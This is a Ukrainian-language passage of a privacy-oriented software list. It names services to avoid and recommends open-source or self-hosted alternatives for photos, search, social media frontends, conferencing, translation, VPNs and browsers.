• Pocket Paint - Стандартний додаток для маніпуляцій із зображеннями для Catroid.
• Scrambled Exif - Видаліть Exif-дані з фотографій, перш ніж ділитися ними.
• ImagePipe - Зменшує розмір зображення та видаляє exif-теги під час обміну зображеннями на пристроях Android.

Зберігання фотографій

Уникайте:

• Google Photos
• Google Photos Takeout Helper - Скрипт, який впорядковує безладний архів Google Takeout в одну велику хронологічну папку. Використовуйте цей скрипт, щоб вибратися з Google Фото :).
• Amazon Photos

Замість цього використовуйте:

Самостійне розміщення

• Immich (WIP) - Рішення для резервного копіювання фото та відео безпосередньо з вашого мобільного телефону.
• LibrePhotos - Актива OwnPhotos. Самостійно розміщена альтернатива Google Photos.
• Nextcloud - Самостійна платформа з відкритим кодом, яка дозволяє вам контролювати продуктивність. Вона має плагін Photos який допоможе вам впорядкувати та візуалізувати ваші фотографії.
• Photoprism - Багатофункціональний серверний додаток для перегляду, організації та обміну вашою особистою колекцією фотографій. Найбільш схожий на Google Photos.
• Pigallery2 - Самостійно розміщений веб-сайт фотогалереї з каталогом.
• Photoview - Фотогалерея для персональних серверів з функцією розпізнавання облич.
• Photostructure - Самостійно розміщена бібліотека фотографій, яка робить перегляд і обмін спогадами на все життя приємним.

Належить третій стороні

• Crypt.ee - Приватне та зашифроване місце для всіх ваших фотографій, документів, нотаток та іншого.
• Ente - Наскрізне зашифроване сховище для фотографій і відео. Клієнти з відкритим кодом, що пройшли незалежний аудит.
• Stingle Photos - Рішення з відкритим кодом, яке забезпечує надійний захист, конфіденційність і шифрування для резервного копіювання ваших фотографій.

Локальний

• DigiKam - Чудове професійне керування фотографіями з відкритим кодом.
• Photok - це безкоштовний фотосейф. Він зберігає ваші фотографії в зашифрованому вигляді на вашому пристрої і приховує їх від інших.
• ImageGlass - це легке програмне забезпечення, метою якого є допомогти вам переглядати зображення в чистому та інтуїтивно зрозумілому робочому середовищі.

Інструменти конфіденційності

Цей розділ присвячений деяким інструментам, які можуть допомогти користувачам аналізувати стан конфіденційності на своїх пристроях.

Desktop

• Whoami Project - Whoami забезпечує підвищену конфіденційність та анонімність для дистрибутивів Debian та Arch на основі linux.
• BusKill - це вимикач, що спрацьовує, коли спрацьовує магнітний розрив, розриваючи USB-з'єднання.

Android

• εxodus - Платформа для аудиту конфіденційності для Android-додатків. Дізнайтеся, скільки трекерів мають ваші програми.
• ClassyShark3xodus - Перевіряє apk(и) на відомі трекери (надані Exodus) + інші попередження та специфікації.
• Plexus - Позбудьтеся страху щодо сумісності додатків Android на дегугльованих пристроях. Дізнайтеся, чи буде додаток працювати на дегуглізованому пристрої.
• Netguard - Простий спосіб заблокувати доступ до інтернету для кожної програми.
• RethinkDNS + Firewall - Брандмауер з відкритим кодом і можливістю зміни DNS з антицензурними функціями для Android 6+.

Віддалений доступ і керування

Уникайте:

• TeamViewer
• AnyDesk

Замість цього використовуйте:

• RustDesk - Клієнтське програмне забезпечення для віддаленого робочого столу з відкритим кодом, написане на Rust. Працює з коробки, повний контроль над вашими даними, без жодних турбот про безпеку.
• screego - Показ скріншотів для розробників.
• Remmina - Екран віддаленого доступу та обмін файлами на робочому столі (RDP).
• UltraVNC - UltraVNC - це потужне, просте у використанні і безкоштовне програмне забезпечення для віддаленого доступу до ПК, яке може відображати екран іншого комп'ютера (через Інтернет або мережу) на вашому власному екрані.
• MeshCentral - Багатофункціональний веб-сайт з відкритим кодом, багатоплатформний, самостійний хостинг для віддаленого керування пристроями.

Пошукові системи

Уникайте:

• Bing
• Google
• Yahoo

Замість цього використовуйте:

• Whoogle Search - Метапошукова система Google, що розміщується на власному хостингу, не містить реклами та поважає конфіденційність.
• librengine - Пошукова система конфіденційності в Інтернеті
• SearX - Метапошукова система, що поважає конфіденційність.
• SearxNG - Безкоштовна метапошукова система в Інтернеті, яка агрегує результати з різних пошукових сервісів і баз даних.
• DuckDuckGo - Пошукова система, що поважає конфіденційність.
• Brave Search - Пошукова система, що поважає конфіденційність і має власний індекс, який здебільшого не покладається на такі пошукові системи, як Google або Bing, але звертається до них, якщо не знайдено достатньої кількості результатів.

Соціальні мережі та платформи

ПРИМІТКА: fediverse - це "федеративний" "всесвіт" платформ соціальних мереж, які можуть спілкуватися між собою за допомогою стандартного і відкритого протоколу. Це означає, що ви можете споживати контент у будь-якій мережі з будь-якої з цих мереж. Ви не прив'язані до одного провайдера, ви вільні у виборі. Будь ласка подивіться це відео від FramaSoft, яке дуже добре ілюструє цю концепцію. В ідеалі, ми всі повинні перейти на Fediverse і відмовитися від централізованих і монополізованих соціальних мереж, які зараз є найпопулярнішими (Twitter, Reddit, Instagram...). Всі додатки, сумісні з Fediverse (ActivityPub), позначені значком 🧩.

ПРИМІТКА: Про альтернативні інтерфейси та клієнти Альтернативні інтерфейси добре захищають вашу особисту конфіденційність. Ви все ще можете споживати вміст приватних і шкідливих для приватності сервісів із захистом вашої приватності та певною анонімністю. Навіть використовуючи більшість цих альтернативних фронтендів, приватні сервіси все одно отримуватимуть запити про вміст, який ви споживаєте (навіть не знаючи, що це ви). Це шкодить колективній приватності і певним чином додає дані до їхніх алгоритмів. Тільки альтернативні фронтенди (або клієнти), які діють як проксі, приховують ваш реальний IP від постачальника контенту. Ви можете використовувати ці розширення для браузера та програми для автоматичного перенаправлення будь-яких посилань на альтернативні інтерфейси, які поважають конфіденційність: Farside - розумний шлюз перенаправлення для різних інтерфейсних служб. LibRedirect - веб-розширення, яке перенаправляє запити на YouTube, Twitter... на альтернативні фронтенди та бекенди, що поважають конфіденційність. UntrackMe - перетворює Youtube, Twitter та інші посилання на їхні безкоштовні альтернативи з відкритим кодом.

Платформи для ведення блогів (Medium)

Уникайте:

• Medium - на сайті є Google-трекери та реклама.
• Blogger - Належить Google, має гугл-трекери та рекламу.

Альтернативи:

• Plume 🧩 - Федеративний додаток для ведення блогів, завдяки ActivityPub.
• WriteFreely 🧩 - Платформа з відкритим кодом для створення простору для письма в Інтернеті.

Альтернативні фронтенди Medium:

• Scribe - Середній альтернативний форентайм, натхненний Invidious.

Instagram

Не використовуйте Instagram (або принаймні офіційний клієнт). Instagram - це додаток, який дуже втручається в приватне життя, з упередженими результатами і стрічками, заснованими на профілях користувачів, він також використовується як інструмент маніпуляції і має багато цензури, що суперечить свободі слова. Нарешті, він має токсичний дизайн інтерфейсу, що викликає звикання.

Замість цього використовуйте:

Альтернативи Instagram

• Pixelfed 🧩 - Децентралізована, федеративна та з відкритим кодом альтернатива Instagram з публікаціями, відео, історіями, тегами тощо.

LBRY та Odysee

Сайт Odysee містить деякі трекери і є важким сайтом. Ви можете скористатися цими альтернативами, щоб уникнути трекерів і мати більш мінімалістичний і легкий інтерфейс:

• Librarian - Альтернативний фронтенд для LBRY/Odysee. Натхненний Invidious та Libreddit.

Quora

На сайті Quora є реклама та трекери, які використовуються для отримання ваших даних, які потім продаються/передаються третім особам. Їх політика конфіденційності погана.

Альтернативні фронтенди Quora (веб-версії):

• Quetre - це альтернативний фронтенд для Quora. Він дозволяє бачити відповіді без реклами, трекерів та інших подібних надмірностей.

YouTube

Не використовуйте YouTube (або принаймні офіційний клієнт). YouTube дуже втручається в приватне життя, він створює дуже точний профіль на основі ваших інтересів. Крім того, це інструмент радикалізації який показує користувачам упереджений контент щоб отримати більше залучення і змусити їх дивитися все більше і більше контенту, створюючи залежність. Він ніколи не показує альтернативних думок до вашої ідеології/упередженості. YouTube багато цензурує. YouTube збирає багато даних про вас: інтереси, вільний час, ідеологію, вподобання, антипатії, музичні уподобання тощо.

Замість цього використовуйте:

• Peertube 🧩 - Безкоштовна, відкрита та децентралізована альтернатива відеоплатформам.
• SimpleerTube - Простий фронтенд для PeerTube з SepiaSearch Source.
• Odysee - Odysee - це відеоплатформа, яка підтримується творцями проекту lbry і використовує блокчейн-протокол lbry.
• DTube - Повнофункціональний веб-сайт для обміну відео, децентралізований.

Альтернативні фронтенди YouTube (веб-версії):

• Invidious - Альтернативний фронтенд YouTube, що поважає конфіденційність.
• Piped - Альтернативний фронтенд YouTube, дружній до приватності та ефективний за дизайном.
• LibreTube - Альтернативний фронтенд для YouTube для Android з використанням Piped.
• ViewTube - це альтернативний фронтенд YouTube, написаний на Vue.js
• Youtube-Local - браузерний клієнт для перегляду Youtube анонімно та з більшою продуктивністю сторінки.

Альтернативні клієнти (додатки) YouTube:

• NewPipe - Альтернативний додаток YouTube для Android. Не потребує облікового запису, поважає приватність, без реклами.
• NewPipe x Sponsorblock - NewPipe, який включає в себе Sponsorblock.
• SkyTube - Альтернативний додаток YouTube для Android. Не потребує облікового запису, поважає приватність, без реклами.
• FreeTube - це десктопний програвач YouTube з відкритим кодом, створений з думкою про конфіденційність. (Використовує Local RSS API або Invidious для бекенду).
• LibreTube - Альтернативний фронтенд для YouTube для Android з використанням Piped.
• Yattee - Альтернативний фронтенд YouTube для iOS, tvOS і macOS, створений за допомогою Invidious і Piped.

TikTok

Уникайте використання TikTok, це токсичний додаток, який шкодить не лише конфіденційності, але й доброчесності користувачів. Ви можете прочитати ці кілька постів.

Альтернативні фронтенди TikTok (веб-орієнтовані):

• ProxiTok - Альтернативний фронтенд для TikTok з відкритим кодом

Twitter

Уникайте використання офіційного додатку/сайту Twitter. Він відстежує користувачів і створює профілі користувачів на основі того, за чим вони стежать, що ретвітлять і що їм подобається.За замовчуванням Twitter шкодить і порушує конфіденційність користувачів своїми політиками.

Самостійний хостинг

• Memos - Самостійний мемо-хаб з відкритим кодом, управлінням знаннями та соціалізацією.

Децентралізований

• Nostr - Відкритий протокол, здатний створити стійку до цензури глобальну "соціальну" мережу. Він не покладається на будь-який довірений центральний сервер, тому є стійким; він базується на криптографічних ключах і підписах, тому є захищеним від несанкціонованого втручання; він не покладається на технології P2P, тому він працює. Примітка: Nostr - це протокол, тому він здатен запропонувати набагато більше, ніж альтернатива Twitter.

Федеративні соціальні мережі: Федеративна соціальна мережа - це не один веб-сайт, як Twitter або Facebook, а мережа з тисяч спільнот, якими керують різні організації та приватні особи, що забезпечують безперебійне користування соціальними мережами.

• Mastodon 🧩 - Вільна, федеративна соціальна мережа мікроблогів, побудована на відкритих протоколах.
• Mastodon Apps - Список програм Mastodon для Android, iOS, Інтернету та настільних комп'ютерів.
• Pleroma 🧩 - це вільний, федеративний сервер соціальних мереж, побудований на відкритих протоколах.
• Soapbox - Фронтенд для Pleroma з акцентом на кастомному брендингу та простоті використання.
• Husky - Android-клієнт для Pleroma та Mastodon.

Альтернативні фронтенди

• Nitter - це безкоштовний альтернативний інтерфейс Twitter з відкритим кодом, орієнтований на конфіденційність.
• Fritter - Безкоштовний клієнт Nitter з відкритим кодом для Android.
• Feetter - Створюйте, синхронізуйте та керуйте стрічками Nitter без реєстрації з будь-якого пристрою.
• Kizie - Чистіший, кращий і орієнтований на конфіденційність Twitter-клієнт для Інтернету.

Reddit

Намагайтеся уникати використання Reddit або принаймні уникати їхніх офіційних клієнтів, оскільки вони містять багато трекерів, реклами та передають непотрібні дані користувачів на свої сервери.

Альтернативи Reddit:

• Aether - Однорангові ефемерні публічні спільноти.
• Kbin 🧩 - Агрегатор контенту на кшталт Reddit та платформа для мікроблогів для федеративного світу.
• Lemmy 🧩 - Об'єднана та відкрита альтернатива Reddit у Rust.
• SaidIt - Клон Reddit з відкритим кодом.

Повага до конфіденційності клієнтів Reddit:

• Libreddit - Приватний фронтенд Reddit написаний на Rust
• Teddit - Альтернативний фронтенд Reddit, орієнтований на конфіденційність
• Infinity - Гарний клієнт Reddit для Android.
• Dawn - Клієнт reddit з відкритим кодом для Android, що керується жестами
• Slide - це безкоштовний браузер Reddit з відкритим кодом для Android та iOS.

Платформи для стрімінгу (Twitch)

Уникайте використання таких платформ, як Twitch, Patreon, YouTube, оскільки вони дуже втручаються у приватне життя ваших глядачів (і вас!). Замість цього ви можете спробувати використовувати деякі саморозміщені платформи, які дійсно піклуються про конфіденційність кожного.

Alternatives:

• Owncast - Контролюйте відео в прямому ефірі, запускаючи його самостійно. Стрімінг + чат з коробки.
• livego - Сервер потокового відео на golang.

Wikipedia

Детальніше про проблему з Вікіпедією читайте на Маніфест без Вікіпедії.

Альтернативи:

• Wikiless - Репозиторій Wikiless було видалено Codeberg, слідкуйте за новинами тут - Вільний альтернативний інтерфейс Вікіпедії з відкритим кодом, орієнтований на конфіденційність коду.

Imgur

На сайті Imgur багато роздуття, gif, cookies, javascript і трекерів.

Alternatives:

• Imgin - Мінімалістичний, дружній до tor, тільки для читання проксі-сервер Imgur, на якому працюють такі програми, як Invidious, Nitter і Bibliogram.
• rimgo - Альтернативний фронтенд для Imgur. Тільки для читання, без js, заснований на rimgu і переписаний на Go.

Інструменти для командної роботи

Уникайте:

• Google Hangouts
• Microsoft Teams

Замість цього використовуйте:

• Zulip - Чат для розподілених команд.
• Revolt - Орієнтована на користувача чат-платформа, створена за допомогою сучасних веб-технологій.
• Twake - Працюйте в команді швидше. Twake задовольняє всі потреби вашої організації за допомогою єдиної платформи.
• RocketChat - Контролюйте спілкування, керуйте даними та майте власну платформу для спільної роботи, щоб підвищити продуктивність команди.
• Nextcloud Talk - Зберігайте розмови приватними за допомогою Nextcloud Talk.
• Mattermost - Альтернатива Slack з відкритим кодом.

Альтернативні клієнти/модифікації Discord:

Ваш IP і повідомлення все ще будуть доступними і належатимуть Discord, і вони не будуть зашифровані.
Крім того, використання будь-якої з цих модифікацій/клієнтів порушує Умови використання Discord тому ми не несемо відповідальності за призупинення або припинення дії вашого облікового запису, але поки що цього не повинно статися.

• OpenAsar - Альтернатива app.asar для робочого столу Discord з відкритим кодом, яка має функцію No Track.
• Vencord - Мод для клієнта Discord, який робить речі по-іншому.
• BetterDiscord - Модифікація клієнта для Discord, також потрібно встановити плагін DoNotTrack для блокування трекерів.
• Kernel - Дуже маленький і швидкий мод клієнта Electron з великими можливостями, також вам потрібно встановити пакет Discord Utilities для блокування трекерів.
• Replugged - Продовження застарілого клієнтського модуля Powercord.
• WebCord -Клієнт без API для Discord та Fosscord, створений за допомогою Electron.
• Aliucord - Модифікація для програми Discord для Android, яка повністю вимикає відстеження Discord.

Мова у текст

• OpenAI Whisper - це універсальна модель розпізнавання мови, яку можна запускати як локально, так і офлайн. Вона може транскрибувати аудіо з кількох мов і на кілька мов.
• whisper.cpp - Високопродуктивний висновок моделі автоматичного розпізнавання мови (ASR) Whisper від OpenAI.

Текст у мову

Уникайте використання інструментів, які працюють у хмарі третьої сторони. Зазвичай ви надсилаєте свої текстові та голосові дані третім особам для їх обробки, що може призвести до витоку біометричних даних, таких як ваш голос, або до передачі приватних та/або непотрібних текстів третім особам.

Замість цього використовуйте:

• Bark - може бути запущений на 100% локально і може генерувати дуже реалістичну багатомовну мову, а також інші звуки, включаючи музику, фоновий шум і прості звукові ефекти.
• Piper - Швидка, локальна нейронна система перетворення тексту на мову, яка чудово звучить і оптимізована для Raspberry Pi 4.
• Espeak - це синтезатор мови з відкритим кодом, який підтримує більше сотні мов і акцентів. Голоси будуть звучати досить роботизовано.

Переклад

Уникайте:

• Google Translate
• DeepL
• Bing Translator

Переклад тексту

• Mozilla Translate - Відкритий код, запускає модель локально у вашому браузері.
• Libretranslate - Машинний переклад з відкритим кодом - 100% на власному хостингу. Без обмежень. Без прив'язки до пропрієтарних сервісів.
• Apertium - Безкоштовна платформа машинного перекладу з відкритим кодом, що працює в автономному режимі на вашому комп'ютері
• Softcatala - Інструмент перекладу з відкритим кодом - лише каталонська/іспанська/англійська/французька (використовує apertium)
• TranslateLocally – Безкоштовний/відкритий нейронний МТ, працює в автономному режимі на вашому комп'ютері

Альтернативні інтерфейси Google Перекладача

• Lingva - Альтернативний інтерфейс для Google Translate. Демонстрація.
• Simplytranslate - Альтернативний інтерфейс для Google Translate та LibreTranslate. Демонстрація.

Без категорії

• Skymap - Відкрита онлайн-програма планетарію.
• CrowdSec - Модернізований та спільний fail2ban з відкритим кодом.
• Hetty - Hetty - це HTTP-інструментарій для дослідження безпеки. Він має на меті стати альтернативою Burp Suite Pro з відкритим кодом.
• Visited - Локально збирати історію відвідувань через браузери.

Утиліти

• Deskreen - Перетворіть будь-який пристрій на додатковий екран для комп'ютера.

Відео- та аудіоконференції

Уникайте:

• Zoom
• Skype
• Google Meet
• Whatsapp
• Instagram
• Discord
• Clubhouse

Замість цього використовуйте:

• BigBlueButton - це система веб-конференцій, призначена для онлайн-навчання.
• Jam - це ваш власний клуб з відкритим кодом для міні-конференцій, друзів, спільнот.
• Jami - P2P аудіо- та відеоконференції.
• Jitsi Meet - Більш безпечні, гнучкі та абсолютно безкоштовні відеоконференції. Обліковий запис не потрібен, інсталяція не потрібна.
• Mirotalk P2P - Безкоштовний WebRTC - P2P - прості, безпечні, швидкі відеоконференції в режимі реального часу з роздільною здатністю до 4k і 60 кадрів в секунду, сумісні з усіма браузерами і платформами.
• Mumble - Mumble - це програма для голосового спілкування з відкритим кодом і розширеними можливостями.
• PeerCalls - Групові однорангові відеодзвінки для всіх, хто пише на Go і TypeScript.

Редагування відео

Уникайте:

• Sony Vegas
• DaVinci Resolve

Такі програми наповнені трекерами та телеметрією. Повний список причин, чому не варто використовувати Adobe, ви можете знайти тут. Майже те саме стосується багатьох приватних редакторів.

Замість цього використовуйте:

• kdenlive - Відеоредактор з відкритим кодом. Безкоштовний і простий у використанні для будь-яких цілей, назавжди.
• LosslessCut - має на меті стати найкращим крос-платформним графічним інтерфейсом FFmpeg для надзвичайно швидких операцій з відео, аудіо, субтитрами та іншими пов'язаними медіафайлами без втрат.
• Olive Video Editor - Безкоштовний просунутий нелінійний відеоредактор з відкритим кодом, який наразі перебуває на стадії Alpha.
• Shotcut - безкоштовний, відкритий і простий крос-платформний відеоредактор.

VPNs

Уникайте:

• Free VPNs з Google Play або будь-якого іншого магазину додатків. Ці сервіси не є безкоштовними, оскільки вони висмоктують дані про ваші з'єднання, ведуть журнали та створюють ваші профілі, щоб продавати ваші дані рекламодавцям. Якщо уряд захоче стежити за кимось, такі додатки будуть першими, хто впаде.
• Закриті VPN-програми, такі як Surfshark або NordVPN, можуть бути менш надійними, оскільки ніхто не може бути впевнений, як вони обробляють ваші дані. Крім того, при оплаті кредитною карткою ви будете ідентифіковані під час платежу. Крім того, якщо вам потрібно вказати свою електронну пошту, вона також ідентифікує вас, якщо ця електронна пошта використовувалася в інших сервісах.

Замість цього використовуйте:

Ось кілька варіантів з відкритим кодом і справді приватних (не потребують особистих даних та кредитної картки):

• Azire
• IVPN
• Mullvad VPN
• Proton VPN
• SPN

Веб-браузер

Уникайте:

• Google Chrome - Належить Google і побудований на основі проекту Chromium з відкритим кодом (також належить Google). Він постачається з багатьма функціями, що порушують конфіденційність, і найчастіше підключається до вашого облікового запису Google. Він підпадає під політику конфіденційності Google яка, як відомо, дуже погана. Google хоче впровадити Manifest v3 який відверто шкодить зусиллям із захисту приватності.
• Microsoft Edge - Це тематична версія Chromium від Microsoft з трекерами Microsoft замість трекерів Google. Підпорядковується політиці конфіденційності Microsoft, що теж дуже погано. Якщо ви все ще хочете ним користуватися, ви можете слідувати цьому посібнику щоб трохи зміцнити його.
• Opera - Opera придбав консорціум китайських інвесторів. Додаток має багато трекерів.

Замість цього використовуйте:

Android / iOS

• Bromite - Відомо, що він може відставати від патчів безпеки, тому, можливо, краще його не використовувати.
• Brave - Android/iOS. Brave пропонує досить непоганий стандартний набір засобів захисту конфіденційності та відстеження.
• Firefox - Android/iOS
• Mull - Firefox для Android з підвищеним рівнем захисту приватності, з видаленими пропрієтарними елементами.
• Vanadium - Випуски Chromium з підвищеним рівнем конфіденційності та безпеки від GrapheneOS.
• Privacy Browser
• Tor Browser - iOS/Android. Захистіться від стеження та обходу цензури.

Desktop

• Ungoogled Chromium - Полегшений підхід до усунення залежності від веб-сервісів Google. Ungoogled-chromium - це Google Chromium без залежності від веб-сервісів Google.
• Brave - Brave пропонує досить непоганий стандартний набір засобів захисту конфіденційності та відстеження.
• Firefox - Незалежний браузер з відкритим кодом. Він потребує деякого зміцнення та налаштування для досягнення більшої конфіденційності.
• LibreWolf - Firefox, орієнтований на конфіденційність.
• Tor Browser

Можливо, вам буде цікаво дізнатися, що ви можете зробити, щоб захистити свій браузер. Ви можете скористатися розділом Посібника автостопника про анонімність в Інтернеті щоб зробити це. Будь ласка, якщо ви не розумієте, що робите, не робіть цього, оскільки ви можете завдати більше шкоди, ніж користі вашій конфіденційності.

Розширення для браузерів

Анти-відстеження

Будь ласка, прочитайте про те, що робить аддон перед встановленням. Якщо ви не розумієте, що ви робите, ви можете порушити вашу конфіденційність. Крім того, надмірна кількість доповнень може уповільнити роботу браузера.

• uBlock Origin - Безкоштовний блокувальник рекламного контенту з відкритим кодом. Маловитратний на процесор і пам'ять.
• Ознайомтеся з документацією по розширенню і виберіть один з рекомендованих режимів, щоб підвищити рівень конфіденційності.
• Перейдіть до налаштувань > список фільтрів > подразники, увімкніть easylist-cookies. Це дозволить уникнути набридливих спливаючих вікон Cookie.
• LibRedirect - Просте веб-розширення, яке перенаправляє запити Twitter, YouTube, Google Maps та багато інших запитів на безпечні для конфіденційності альтернативи. Колишній Privacy Redirect більше не підтримується, LibRedirect є підтримуваним форком.

Корисні інструменти

• Single File - Збережіть точну копію всієї веб-сторінки в одному HTML-файлі, щоб використовувати її в автономному режимі.

Синхронізація браузера

• xBrowserSync - Синхронізація браузера, якою вона повинна бути: безпечною, анонімною та безкоштовною!

Веб-перегляд

• Bromite WebView - це версія Android System WebView з підтримкою блокування реклами та підвищеної конфіденційності.
• WebView Switcher - Інструмент для встановлення Bromite WebView на android 10